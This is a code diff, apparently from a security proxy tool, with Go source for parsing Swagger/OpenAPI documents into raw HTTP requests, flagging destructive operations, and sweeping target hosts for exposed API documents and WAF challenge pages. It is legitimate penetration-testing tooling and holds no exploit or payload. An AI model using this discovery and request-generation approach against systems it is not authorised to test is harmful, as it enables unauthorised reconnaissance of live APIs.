// The same ID does not imply the same generated defaults: one source parsed
// under two sets of apispec.Placeholders yields two Specs sharing an ID, and the
// last Put wins. Anything that re-parses stored source therefore has to mean it
// — which is why discovery only Puts a document not already held.
func (s *SpecStore) Put(spec *apispec.Spec, source []byte) {
s.mu.Lock()
defer s.mu.Unlock()
for i, existing := range s.specs {
if existing.Spec.ID == spec.ID {
// Moved to the back, not updated in place. Eviction below takes
// specs[0], so position is the eviction order; refreshing LoadedAt
// without moving the entry left a document the operator reloads
// constantly still first in line to be dropped — out from under the
// tab still using it, whose every later render and scan then 404s.
s.specs = append(append(s.specs[:i:i], s.specs[i+1:]...),
&StoredSpec{Spec: spec, Source: source, LoadedAt: time.Now()})
return
}
}
if len(s.specs) >= s.max {
evicted := s.specs[0]
delete(s.profiles, evicted.Spec.ID)
s.specs = s.specs[1:]
}
s.specs = append(s.specs, &StoredSpec{Spec: spec, Source: source, LoadedAt: time.Now()})
}
// Get returns a stored document by ID, or nil.
func (s *SpecStore) Get(id string) *StoredSpec {
s.mu.RLock()
defer s.mu.RUnlock()
for _, stored := range s.specs {
if stored.Spec.ID == id {
return stored
}
}
return nil
}
// List returns every stored document, newest first.
func (s *SpecStore) List() []*StoredSpec {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*StoredSpec, len(s.specs))
for i, stored := range s.specs {
out[len(s.specs)-1-i] = stored
}
return out
}
// Delete removes a document and the profiles defined against it.
func (s *SpecStore) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, stored := range s.specs {
if stored.Spec.ID == id {
s.specs = append(s.specs[:i], s.specs[i+1:]...)
delete(s.profiles, id)
return true
}
}
return false
}
// SetProfiles replaces the profile set for one document.
func (s *SpecStore) SetProfiles(specID string, profiles []Profile) {
s.mu.Lock()
defer s.mu.Unlock()
s.profiles[specID] = profiles
}
// Profiles returns a copy of the profile set for one document, credentials
// included. Callers that serialize these must strip Auth; it is json:"-" so the
// encoder does that on its own.
func (s *SpecStore) Profiles(specID string) []Profile {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]Profile, len(s.profiles[specID]))
copy(out, s.profiles[specID])
return out
}
// Clear drops every document and profile, for a project switch.
func (s *SpecStore) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.specs = nil
s.profiles = map[string][]Profile{}
}
+418
View File
@@ -0,0 +1,418 @@
// Package apispec parses API description documents into one normalized model and
// projects that model into raw HTTP requests.
//
// The parsing and placeholder-value approach is ported from BishopFox's sj
// (github.com/BishopFox/sj), which audits exposed Swagger/OpenAPI documents by
// building a request for every declared operation. See the notes on individual
// functions for the places this deliberately diverges.
//
// # The spec is the editing document; the raw request is the executable truth
//
// Nothing here sends. Render takes no context.Context and this package imports
// nothing that can open a socket, so that is structural rather than a
// convention. Render turns one operation plus a set of values into the exact
// bytes that go on the wire, and those bytes are what the operator sees, edits,
// and hands to the senders that already exist.
//
// The consequence is the point: because a spec-driven request is just bytes,
// scope, Match & Replace, Custom Data and intercept all apply to it without this
// package knowing they exist, and a spec-driven request can be handed to the
// request workbench or the fuzzer with nothing lost in translation. A send path
// private to the spec tab is what would break it.
//
// # A $ref never reaches the filesystem
//
// sj resolves external file references ("./schemas/user.yaml#/User") off local
// disk. There, the document is a file the operator chose. Here, a document is
// routinely fetched from a target and is therefore attacker-controlled, and
// following a file reference would not merely be arbitrary file read: the value
// read is rendered into a request body and sent to a host the same document
// chose, which makes it exfiltration. Local "#/..." pointers only. Everything
// else is refused and reported as a Diagnostic.
//
// # A document always parses to something
//
// Parse errors are reserved for input that is not a document at all. Everything
// survivable — a refused reference, a dangling pointer, a cycle, an exhausted
// budget, a duplicate key — degrades that one schema and appends a Diagnostic.
// An operator reading a 400 from a generated request needs to know the body came
// from a schema that could not be fully resolved; the alternative is assuming the
// endpoint rejects valid input.
package apispec
// Format identifies the kind of document a Spec was parsed from. The normalized
// model is deliberately free of OpenAPI vocabulary so that a parser for another
// description language is a sibling file returning the same *Spec.
type Format string
const (
FormatSwagger2 Format = "swagger2"
FormatOpenAPI3 Format = "openapi3"
)
// Limits bound what a hostile or merely enormous document can cost. They are
// fields rather than constants only where a caller has a legitimate reason to
// differ; the defaults are what DefaultOptions supplies.
const (
// MaxSpecBytes is checked against the raw bytes before any decode. Sized
// against real documents rather than a round number: GitHub's is 13 MB and
// Stripe's 3.7 MB, so 8 MB refused the two largest public APIs outright.
// MaxDocNodes is the real memory backstop; this only bounds the read.
MaxSpecBytes = 24 << 20
// MaxDocNodes bounds the decoded document. yaml.v3 has its own alias-ratio
// guard against billion-laughs (see decodeDocument), but that is a ratio and
// not a memory cap, so a large document can pass it and still expand.
MaxDocNodes = 2_000_000
// MaxRefDepth and MaxSchemaNodes bound schema expansion. A cycle is caught by
// the reference stack; these catch allOf/oneOf nesting that blows up
// combinatorially with no cycle anywhere.
MaxRefDepth = 32
MaxSchemaNodes = 50_000
// MaxPointerSegments bounds one JSON pointer.
MaxPointerSegments = 64
// MaxOperations bounds one document's operation count. Reaching it is
// reported as a Diagnostic rather than silently truncating.
MaxOperations = 2000
)
// Spec is a parsed API description, normalized away from its source format.
// Everything an operator can edit or send lives here; nothing here knows how the
// document was written.
type Spec struct {
ID string `json:"id"`
Format Format `json:"format"`
Version string `json:"version"` // the document's own token: "2.0", "3.0.1"
Title string `json:"title"`
Description string `json:"description,omitempty"`
APIVersion string `json:"apiVersion,omitempty"`
Servers []Server `json:"servers"`
Operations []Operation `json:"operations"`
// Auth is what the document says exists. It never holds a secret: a
// credential is supplied per render, as an Auth value.
Auth []AuthScheme `json:"auth"`
Security []SecurityRequirement `json:"security,omitempty"`
Diagnostics []Diagnostic `json:"diagnostics,omitempty"`
SourceURL string `json:"sourceUrl,omitempty"`
SizeBytes int `json:"sizeBytes"`
// Placeholders are the effective values, after withDefaults, that generated
// every Param.Default and every body in this Spec.
//
// Recorded rather than left implicit because the UI shows a generated value
// as an input hint. A Spec that did not state its own generation inputs would
// let that hint and the bytes on the wire disagree with nothing to compare
// them against — the failure this package's "bytes are truth" rule exists to
// prevent. It is also what lets two views of one document agree that they are
// looking at the same parse.
Placeholders Placeholders `json:"placeholders"`
}
// normalize materializes every collection a client iterates unconditionally.
//
// # A nil slice and an empty slice are the same value in Go and different values on the wire
//
// encoding/json writes a nil slice as null, not []. So every collection crossing
// the API boundary has to be one of exactly two things:
//
// - omitempty, so an empty one is *absent* and the client's field is optional; or
// - guaranteed non-nil here, so it is [] and the client's field is a plain array.
//
// A field that is both non-omitempty and nillable is the combination that ships
// null against a type promising an array, and it is invisible to both compilers:
// Go sees a legal nil slice, TypeScript sees a declaration it has no way to
// check. That combination is what crashed the operations view on any document
// with a requestBody-only operation — the commonest shape in OpenAPI 3.
//
// Adding a collection field to Spec or Operation means choosing one of the two,
// and if it is the second, adding it here. The corpus test pins this by
// asserting the marshalled document contains no null for these fields.
func (s *Spec) normalize() {
if s.Servers == nil {
s.Servers = []Server{}
}
if s.Operations == nil {
s.Operations = []Operation{}
}
if s.Auth == nil {
s.Auth = []AuthScheme{}
}
for i := range s.Operations {
if s.Operations[i].Params == nil {
s.Operations[i].Params = []Param{}
}
}
}
// Server is one declared origin. A document may name several, or name one
// relative to wherever it was served from; both are reported rather than
// resolved to a single answer, because picking for the operator is how a scan
// ends up pointed at the wrong host.
type Server struct {
URL string `json:"url"` // exactly as written
Scheme string `json:"scheme,omitempty"`
Host string `json:"host,omitempty"` // host[:port]
BasePath string `json:"basePath"` // "" or "/v1", never trailing "/"
Description string `json:"description,omitempty"`
Vars map[string]string `json:"vars,omitempty"`
}
// Operation is one method on one path.
type Operation struct {
ID string `json:"id"` // operationId when usable, else "get:/pets/{id}"
Method string `json:"method"`
Path string `json:"path"` // the template, braces intact
Summary string `json:"summary,omitempty"`
Description string `json:"description,omitempty"`
Tags []string `json:"tags,omitempty"`
Deprecated bool `json:"deprecated,omitempty"`
Params []Param `json:"params"`
// Bodies holds one entry per declared content type, in document order.
// Bodies[0] is what Render uses unless Values selects another. sj keeps only
// the last one a map iteration happened to yield.
Bodies []Body `json:"bodies,omitempty"`
BodyRequired bool `json:"bodyRequired,omitempty"`
// Responses is keyed exactly as the document wrote it ("200", "4XX",
// "default"). String-keyed on purpose: sj builds this with an any key and
// then looks it up with an int, so the description never resolves.
Responses map[string]string `json:"responses,omitempty"`
// Security nil means "inherit Spec.Security". A non-nil empty slice means the
// operation explicitly opts out of authentication, which is a meaningful
// statement and not the same thing.
//
// No omitempty, deliberately: it omits a non-nil empty slice exactly as it
// omits a nil one, which would erase on the wire the very distinction the
// lines above take care to build.
Security []SecurityRequirement `json:"security"`
// Destructive is advisory, computed by Classify. It never stops a render; it
// gates a send.
Destructive bool `json:"destructive,omitempty"`
DestructiveReasons []string `json:"destructiveReasons,omitempty"`
// Servers is the operation's own server list, from the operation or its path
// item. Empty means "use the document's". OpenAPI 3 allows the override and
// multi-service gateways use it.
Servers []Server `json:"servers,omitempty"`
Diagnostics []Diagnostic `json:"diagnostics,omitempty"`
}
// ParamIn is where a parameter is carried.
type ParamIn string
const (
InPath ParamIn = "path"
InQuery ParamIn = "query"
InHeader ParamIn = "header"
InCookie ParamIn = "cookie"
)
// Param is one input to an operation.
type Param struct {
Name string `json:"name"`
In ParamIn `json:"in"`
Required bool `json:"required,omitempty"`
Deprecated bool `json:"deprecated,omitempty"`
Description string `json:"description,omitempty"`
Type string `json:"type,omitempty"`
Format string `json:"format,omitempty"`
Enum []string `json:"enum,omitempty"`
// Default is the value the parser generated, already in wire form. An
// operator override arrives through Values and never mutates this, so the UI
// can keep showing it as the placeholder after the field is cleared.
Default string `json:"default"`
// ExplodedFrom names the object-schema parameter this one was split out of.
// An OpenAPI 3 query parameter whose schema is an object becomes one Param
// per property, which is the only place the parser invents a name. Render
// regroups them by this to rebuild the wire form the style calls for.
ExplodedFrom string `json:"explodedFrom,omitempty"`
// Style and Explode select the serialization. Render reads both; the pair
// decides whether an object goes out as "?a=1&b=2", "?o=a,1,b,2" or
// "?o[a]=1&o[b]=2", which are three different requests.
Style string `json:"style,omitempty"`
Explode bool `json:"explode,omitempty"`
// ContentType is set when the document declared the parameter with `content`
// rather than `schema`, meaning its value is a serialized media type.
ContentType string `json:"contentType,omitempty"`
}
// BodyEncoding is how a Body's bytes were built, which is what the UI needs to
// choose an editor and what Render needs to leave alone.
type BodyEncoding string
const (
EncJSON BodyEncoding = "json"
EncXML BodyEncoding = "xml"
EncForm BodyEncoding = "form"
EncMultipart BodyEncoding = "multipart"
EncRaw BodyEncoding = "raw"
)
// Body is one request body variant.
type Body struct {
ContentType string `json:"contentType"`
Encoding BodyEncoding `json:"encoding"`
Content []byte `json:"content"`
Fields []string `json:"fields,omitempty"`
// Boundary is stored with the bytes it framed. Regenerating one at render
// time, as sj does, produces a Content-Type that does not describe the body.
Boundary string `json:"boundary,omitempty"`
}
// AuthKind is a security scheme's type, normalized across v2 and v3 spellings.
type AuthKind string
const (
AuthBasic AuthKind = "basic"
AuthBearer AuthKind = "bearer"
AuthAPIKey AuthKind = "apiKey"
AuthHTTPOther AuthKind = "http"
AuthOAuth2 AuthKind = "oauth2"
AuthOpenID AuthKind = "openIdConnect"
AuthMutualTLS AuthKind = "mutualTLS"
)
// AuthScheme is one way the document says a request may authenticate.
//
// Both spellings are read: OpenAPI 3's components.securitySchemes and Swagger
// 2's securityDefinitions. sj reads only the former, so a v2 document gets no
// authentication at all.
type AuthScheme struct {
Name string `json:"name"` // the key under the document's scheme map
Kind AuthKind `json:"kind"`
In ParamIn `json:"in,omitempty"` // apiKey only
ParamName string `json:"paramName,omitempty"` // apiKey only
Scheme string `json:"scheme,omitempty"` // raw http scheme token
BearerFormat string `json:"bearerFormat,omitempty"`
Description string `json:"description,omitempty"`
// Automatable is false for oauth2, openIdConnect and mutualTLS: Joro cannot
// obtain those credentials, only carry one the operator supplied.
Automatable bool `json:"automatable"`
}
// SecurityRequirement is one alternative: every scheme named in it must be
// satisfied. A slice of these is a disjunction.
type SecurityRequirement struct {
Schemes []string `json:"schemes"`
Scopes map[string][]string `json:"scopes,omitempty"`
}
// DiagKind classifies what could not be done.
type DiagKind string
const (
DiagExternalRef DiagKind = "external_ref" // refused, never fetched
DiagUnresolvedRef DiagKind = "unresolved_ref" // "#/..." pointing at nothing
DiagRefCycle DiagKind = "ref_cycle"
DiagDepthExceeded DiagKind = "depth_exceeded"
DiagNodeBudget DiagKind = "node_budget"
DiagDuplicateKey DiagKind = "duplicate_key"
DiagTruncated DiagKind = "truncated"
DiagUnsupported DiagKind = "unsupported"
DiagMalformed DiagKind = "malformed"
)
// Diagnostic is one thing the parser refused or could not complete.
type Diagnostic struct {
Kind DiagKind `json:"kind"`
Ref string `json:"ref,omitempty"` // the offending $ref, member or content type
Pointer string `json:"pointer,omitempty"` // where: "/paths/~1pets/get/requestBody"
Detail string `json:"detail,omitempty"`
}
// Values overrides the parser's generated defaults for one render. Keys are
// ValueKey(in, name); the reserved keys "body" and "contentType" carry the whole
// body and the selection among Operation.Bodies. An absent key means "use what
// the parser generated"; a present key with an empty value means "send it empty",
// which is a different and useful test.
type Values map[string]string
// ValueKey builds the Values key for one parameter.
func ValueKey(in ParamIn, name string) string { return string(in) + ":" + name }
// Reserved Values keys.
const (
ValueKeyBody = "body"
ValueKeyContentType = "contentType"
)
// Options tunes a parse.
type Options struct {
// SourceURL is where the document was served from. It is the base for a
// relative server URL and is recorded on the Spec; it is never fetched.
SourceURL string
// Placeholders supplies the generated values. The zero value is filled in
// from DefaultPlaceholders.
//
// A placeholder is an input to the *parse*, not to a render: it is baked into
// Param.Default and into body bytes, which no per-request substitution
// reaches. So changing one means parsing the document again, and the effective
// values are recorded on the resulting Spec. RenderOptions deliberately has no
// counterpart — a per-request placeholder would re-decode a multi-megabyte
// document on every preview, and would move the wire bytes while the UI kept
// showing the values of the parse it still holds.
Placeholders Placeholders
// DestructiveWhitelist names keywords to stop treating as destructive, for a
// target whose vocabulary collides with the list ("order" on a commerce API
// that only reads orders).
DestructiveWhitelist []string
}
// Placeholders are the values generated for a schema that declares no example
// and no enum. The defaults match sj's, so a Joro-generated request and an
// sj-generated request for the same document agree.
type Placeholders struct {
String string `json:"string"` // sj: --test-string, default "bishopfox"
Date string `json:"date"` // sj: -d, default "1990-01-01"
URL string `json:"url"` // sj: -c, default "https://bishopfox.com"
Email string `json:"email"` // sj: --custom-email
}
// DefaultPlaceholders returns sj's defaults.
func DefaultPlaceholders() Placeholders {
return Placeholders{
String: "bishopfox",
Date: "1990-01-01",
URL: "https://bishopfox.com",
Email: "[email protected]",
}
}
// withDefaults fills empty fields, so a caller may set only what it cares about.
func (p Placeholders) withDefaults() Placeholders {
d := DefaultPlaceholders()
if p.String == "" {
p.String = d.String
}
if p.Date == "" {
p.Date = d.Date
}
if p.URL == "" {
p.URL = d.URL
}
if p.Email == "" {
p.Email = d.Email
}
return p
}
+137
View File
@@ -0,0 +1,137 @@
package apispec
import "strings"
// destructiveWords are the verbs that suggest an operation changes something the
// operator would not want changed on a live target. Ported from sj, whose
// judgement here is sound: an API scanner that silently issues POST /purchase is
// a liability, and the cost of asking first is one click.
var destructiveWords = []string{
"add", "block", "build", "buy", "cancel", "change", "clear", "create", "delete",
"deploy", "destroy", "disable", "drop", "edit", "emergency", "erase", "execute",
"insert", "kill", "modify", "order", "overwrite", "pause", "purchase", "purge",
"rebuild", "remove", "replace", "reset", "restart", "revoke", "run", "sell",
"send", "set", "shutdown", "start", "stop", "terminate", "truncate", "update",
"upload", "wipe", "write",
}
// destructiveMethods are methods whose semantics are destructive regardless of
// what the path is called.
var destructiveMethods = map[string]string{
"DELETE": "DELETE removes the addressed resource",
"PATCH": "PATCH modifies the addressed resource",
}
// Classify reports whether an operation looks destructive, and why.
//
// It is advisory: it never blocks a render, only a send, and the caller decides
// whether to honor it. Two differences from sj matter.
//
// First, this runs at parse time over the method, path, operationId and summary.
// sj checks the interpolated URL at send time, reading u.RawPath + "?" +
// u.RawQuery — and RawPath is empty for any URL that needed no escaping, so on
// most targets the gate inspects only the query string and never fires at all.
//
// Second, sj drops DELETE and PATCH operations during parsing, so they are
// invisible. Reporting them instead means the operator can see the whole API
// surface and tick the one they meant to test.
func Classify(method, path, opID, summary string, whitelist []string) (bool, []string) {
var reasons []string
method = strings.ToUpper(method)
if reason, ok := destructiveMethods[method]; ok {
reasons = append(reasons, reason)
}
skip := make(map[string]bool, len(whitelist))
for _, w := range whitelist {
skip[strings.ToLower(strings.TrimSpace(w))] = true
}
haystack := splitWords(path + " " + opID + " " + summary)
for _, word := range destructiveWords {
if skip[word] {
continue
}
if containsWord(haystack, word) {
reasons = append(reasons, "mentions "+word)
}
}
return len(reasons) > 0, reasons
}
// containsWord matches a keyword against one end of an identifier, so "orders"
// and "reorder" both match "order" while "borders" does not. A plain substring
// test — which is what sj does — flags every path containing "border", "asset"
// (set) and similar, and an operator who learns the gate cries wolf will disable
// it.
//
// One boundary, not two: "orders" and "createOrder" are how this operation is
// ordinarily spelled, and both put a letter against one side. The cost is that a
// bare "border" reads as "order" — no boundary rule separates it from "reorder"
// — and the failures are not equal: a false positive costs a click, a false
// negative sends a live POST to a payment endpoint.
func containsWord(haystack, word string) bool {
for i := 0; ; {
idx := strings.Index(haystack[i:], word)
if idx < 0 {
return false
}
start := i + idx
end := start + len(word)
if !isWordByte(haystack, start-1) || !isWordByte(haystack, end) {
return true
}
i = start + 1
if i >= len(haystack) {
return false
}
}
}
// splitWords lowercases the haystack, breaking camelCase and separators apart.
//
// Without it "createOrder" is one token "createorder", where both keywords have
// a letter on each side and neither matches — and operationId is the field most
// likely to name the verb.
func splitWords(s string) string {
var b strings.Builder
b.Grow(len(s) + 8)
for i := 0; i < len(s); i++ {
c := s[i]
switch {
case c >= 'A' && c <= 'Z':
// Split at the "O" of createOrder, not inside the "URL" of parseURL.
if i > 0 && isLowerOrDigit(s[i-1]) {
b.WriteByte(' ')
}
b.WriteByte(c + 32)
case c >= 'a' && c <= 'z', c >= '0' && c <= '9':
b.WriteByte(c)
default:
b.WriteByte(' ')
}
}
return b.String()
}
func isLowerOrDigit(c byte) bool {
return c >= 'a' && c <= 'z' || c >= '0' && c <= '9'
}
// isWordByte reports whether the byte at i continues an identifier. Out-of-range
// counts as a boundary.
func isWordByte(s string, i int) bool {
if i < 0 || i >= len(s) {
return false
}
c := s[i]
return c >= 'a' && c <= 'z' || c >= '0' && c <= '9'
}
// DefaultMethods is the method whitelist a run starts with: everything except
// the two whose semantics are destructive on their own.
func DefaultMethods() []string {
return []string{"GET", "POST", "PUT", "HEAD", "OPTIONS", "TRACE"}
}
+354
View File
@@ -0,0 +1,354 @@
package apispec
import (
"net/url"
"regexp"
"strings"
)
// CandidateSet selects how wide a discovery sweep goes.
type CandidateSet string
const (
// CandidatePriority is the 87-path list tried directly. This is the default,
// and the reason is not politeness: every candidate is sent through Joro's
// own proxy and therefore occupies a row in the capture store, which is a
// ring buffer. A full sweep is thousands of rows and can evict the
// operator's real traffic — the one place where routing through the proxy,
// otherwise the whole point, costs something.
CandidatePriority CandidateSet = "priority"
// CandidateFull crosses every prefix with every endpoint name. Thousands of
// requests; offer it with the eviction consequence stated.
CandidateFull CandidateSet = "full"
)
// CandidatePaths builds the ordered candidate list for a sweep.
//
// Order matters and is sj's: HTML UI pages first, because one hit there names
// the document directly and makes the rest of the sweep unnecessary; then the
// priority paths; then the JavaScript bundles; then the JSON names in three
// suffix forms. Duplicates are removed across the whole list, not just within
// each source.
func CandidatePaths(basePath string, set CandidateSet) []string {
base := normalizeBasePath(basePath)
seen := map[string]bool{}
var out []string
add := func(p string) {
if p == "" {
p = "/"
}
if !strings.HasPrefix(p, "/") {
p = "/" + p
}
if seen[p] {
return
}
seen[p] = true
out = append(out, p)
}
cross := func(endpoints []string, suffix string) {
for _, dir := range prefixDirs {
for _, ep := range endpoints {
if dir == "" && ep == "" {
continue
}
add(base + dir + ep + suffix)
}
}
}
for _, ep := range htmlEndpoints {
add(base + ep + ".html")
}
for _, p := range priorityURLs {
add(base + p)
}
if set != CandidateFull {
return out
}
cross(htmlEndpoints, ".html")
cross(javascriptEndpoints, ".js")
cross(jsonEndpoints, "")
cross(jsonEndpoints, ".json")
cross(jsonEndpoints, "/")
return out
}
// BodyKind is what a discovery response turned out to be.
type BodyKind string
const (
KindSpec BodyKind = "spec" // parsed as a document with paths
KindWeak BodyKind = "weak" // looks document-shaped but did not parse
KindReference BodyKind = "reference" // a page or script naming a document
KindChallenge BodyKind = "challenge" // a WAF or bot-check interstitial
KindSkip BodyKind = "skip" // binary or otherwise uninteresting
KindNone BodyKind = "none"
)
// skipContentTypes are types that cannot carry a document. Checking these first
// avoids running regexes over images and archives.
var skipContentTypes = []string{
"image/", "video/", "audio/", "font/", "text/css",
"application/zip", "application/pdf", "application/octet-stream",
}
// ShouldSkipContentType reports whether a response body is worth examining.
func ShouldSkipContentType(contentType string) bool {
ct := strings.ToLower(contentType)
for _, skip := range skipContentTypes {
if strings.Contains(ct, skip) {
return true
}
}
return false
}
// challengeMarkers are strings that appear in bot-check interstitials. A run
// that collects these is being answered by a WAF, and continuing wastes
// thousands of requests to learn nothing.
var challengeMarkers = []string{
"cf-browser-verification", "cf_chl_opt", "cf-challenge", "__cf_chl",
"just a moment...", "checking your browser", "ddos protection by",
"attention required! | cloudflare", "please enable cookies",
"access denied", "request unsuccessful. incapsula",
"incapsula incident id", "_incapsula_resource",
}
// LooksLikeChallenge reports whether a body is a bot-check interstitial.
func LooksLikeChallenge(body []byte) bool {
// Bound the scan: a challenge page is small and its markers are near the top.
window := body
if len(window) > 64<<10 {
window = window[:64<<10]
}
lower := strings.ToLower(string(window))
for _, marker := range challengeMarkers {
if strings.Contains(lower, marker) {
return true
}
}
return false
}
// LooksLikeHTMLDocument reports whether a body is an HTML page, for a response
// whose Content-Type lied or was absent.
func LooksLikeHTMLDocument(body []byte) bool {
window := body
if len(window) > 2048 {
window = window[:2048]
}
lower := strings.ToLower(strings.TrimSpace(string(window)))
return strings.HasPrefix(lower, "<!doctype html") ||
strings.HasPrefix(lower, "<html") ||
strings.Contains(lower, "<head")
}
// docUIMarkers name the API-documentation UI frameworks that embed or reference
// the document they render, each by strings unambiguous enough that an ordinary
// web page never carries them. Order is match priority; the Swagger entry leads
// because it is far and away the common case. The Swagger bundle names overlap
// uiBundleNames on purpose — the same scripts that are skipped when hunting for
// an embedded document are what positively identify the page as Swagger UI.
var docUIMarkers = []struct {
label string
markers []string
}{
{"Swagger UI", []string{
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui.css",
"swaggeruibundle", `id="swagger-ui"`, "id='swagger-ui'",
"swagger-ui-init", "<title>swagger ui",
}},
{"ReDoc", []string{"redoc.standalone", "<redoc", "redoc.init("}},
{"RapiDoc", []string{"<rapi-doc", "rapidoc-min.js"}},
{"Stoplight Elements", []string{"<elements-api", "@stoplight/elements"}},
{"Scalar", []string{"scalar.min.js", "@scalar/api-reference"}},
}
// DetectDocUI reports which API-documentation UI framework an HTML page is, or
// "" if it is just an HTML page. A doc UI embeds or names the document it loads,
// so naming it turns the most common load failure into the next action; a plain
// page must not be mislabelled as one.
func DetectDocUI(body []byte) string {
// Bound the scan: these markers sit in the page head, near the top.
window := body
if len(window) > 64<<10 {
window = window[:64<<10]
}
lower := strings.ToLower(string(window))
for _, ui := range docUIMarkers {
for _, m := range ui.markers {
if strings.Contains(lower, m) {
return ui.label
}
}
}
return ""
}
var (
// specKeyRe matches a "url:" / "configUrl:" / "specUrl:" assignment, which is
// how a Swagger UI page names the document it loads.
specKeyRe = regexp.MustCompile(`(?i)"?(?:config|spec)?url"?\s*:\s*["']([^"']+)["']`)
// specAttrRe matches a spec-url attribute or a plain href/src.
specAttrRe = regexp.MustCompile(`(?i)(?:spec-url|data-url|href|src)\s*=\s*["']([^"']+)["']`)
// discoveryPathsRe matches Swashbuckle's discoveryPaths initializer.
discoveryPathsRe = regexp.MustCompile(`(?i)discoveryPaths\s*:\s*arrayFrom\(\s*['"]([^'"]+)['"]`)
// specTokenRe finds a URL-shaped token anywhere in a body, quoted or not.
//
// The targeted patterns above only fire on `url: "literal"`. A Swagger UI
// initializer frequently computes the value instead — petstore3's picks it
// out of a host-to-URL table held in a template literal and assigns
// `url: definitionURL` — so the document is plainly present in the file and
// none of the key/attribute regexes can see it. Matching URL shapes and
// letting LooksLikeSpecReference and the caller's same-host rule do the
// filtering catches those without loosening either.
specTokenRe = regexp.MustCompile(`(?i)(https?://[^\s"'` + "`" + `,;()<>]+|/[A-Za-z0-9_./~-]*(?:openapi|swagger|api-docs|apispec)[A-Za-z0-9_./~-]*)`)
)
// uiBundleNames are Swagger UI's own scripts. They are libraries, not
// initializers, so there is no point scanning them for an embedded document.
var uiBundleNames = []string{
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui-es-bundle",
"swagger-ui-es-bundle-core", "swagger-ui-layout", "swagger-ui-plugins",
"swagger-ui.min", "swagger-ui.js", "swagger-ui.css",
}
// LooksLikeSwaggerInit reports whether a script URL is worth reading for an
// embedded document, as opposed to being one of Swagger UI's own bundles.
func LooksLikeSwaggerInit(rawURL string) bool {
path := strings.ToLower(urlPath(rawURL))
if !strings.HasSuffix(path, ".js") {
return false
}
for _, bundle := range uiBundleNames {
if strings.Contains(path, bundle) {
return false
}
}
return true
}
// LooksLikeSpecReference filters extracted references down to ones that could
// name a document, so a sweep does not chase every stylesheet on a page.
func LooksLikeSpecReference(ref string) bool {
lower := strings.ToLower(ref)
if lower == "" || strings.HasPrefix(lower, "#") || strings.HasPrefix(lower, "data:") ||
strings.HasPrefix(lower, "javascript:") || strings.HasPrefix(lower, "mailto:") {
return false
}
for _, ext := range []string{".css", ".png", ".jpg", ".jpeg", ".gif", ".svg", ".ico", ".woff", ".woff2", ".ttf", ".map"} {
if strings.HasSuffix(urlPath(lower), ext) {
return false
}
}
for _, bundle := range uiBundleNames {
if strings.Contains(lower, bundle) {
return false
}
}
for _, hint := range []string{"api-docs", "openapi", "swagger.json", "swagger.yaml", "swagger.yml", "api-json", "swagger-resources", "apispec"} {
if strings.Contains(lower, hint) {
return true
}
}
p := urlPath(lower)
for _, ext := range []string{".json", ".yaml", ".yml", "-json", "_json"} {
if strings.HasSuffix(p, ext) {
return true
}
}
return strings.HasSuffix(p, ".js")
}
// ExtractSpecRefs pulls candidate document URLs out of an HTML page or a
// JavaScript initializer, resolved against the page they came from.
//
// Resolution deliberately returns absolute URLs so the caller can enforce that a
// reference stays on the run's own host. sj follows any absolute reference it
// finds, which lets a page a target controls redirect the sweep onto a third
// party — a scope escape, and one the operator never asked for.
func ExtractSpecRefs(body []byte, pageURL string) []string {
window := body
if len(window) > 512<<10 {
window = window[:512<<10]
}
text := string(window)
seen := map[string]bool{}
var out []string
add := func(ref string) {
ref = strings.TrimSpace(ref)
if !LooksLikeSpecReference(ref) {
return
}
abs := resolveRefURL(pageURL, ref)
if abs == "" || seen[abs] {
return
}
seen[abs] = true
out = append(out, abs)
}
// Targeted patterns first, so a document the page names explicitly is
// followed before anything merely URL-shaped.
for _, re := range []*regexp.Regexp{specKeyRe, discoveryPathsRe, specAttrRe} {
for _, m := range re.FindAllStringSubmatch(text, 64) {
if len(m) > 1 {
add(m[1])
}
}
}
for _, m := range specTokenRe.FindAllStringSubmatch(text, 128) {
if len(m) > 1 {
add(m[1])
}
}
return out
}
// resolveRefURL resolves a possibly-relative reference against the page URL.
func resolveRefURL(pageURL, ref string) string {
base, err := url.Parse(pageURL)
if err != nil {
return ""
}
u, err := url.Parse(ref)
if err != nil {
return ""
}
resolved := base.ResolveReference(u)
if resolved.Scheme != "http" && resolved.Scheme != "https" {
return ""
}
resolved.Fragment = ""
return resolved.String()
}
// SameHost reports whether a discovered reference stays on the run's target.
func SameHost(a, b string) bool {
ua, err := url.Parse(a)
if err != nil {
return false
}
ub, err := url.Parse(b)
if err != nil {
return false
}
return strings.EqualFold(ua.Host, ub.Host)
}
func urlPath(rawURL string) string {
if u, err := url.Parse(rawURL); err == nil && u.Path != "" {
return u.Path
}
if i := strings.IndexAny(rawURL, "?#"); i >= 0 {
return rawURL[:i]
}
return rawURL
}
Loaded 100 of 479 files, more files were not shown because too many files have changed in this diff. Show more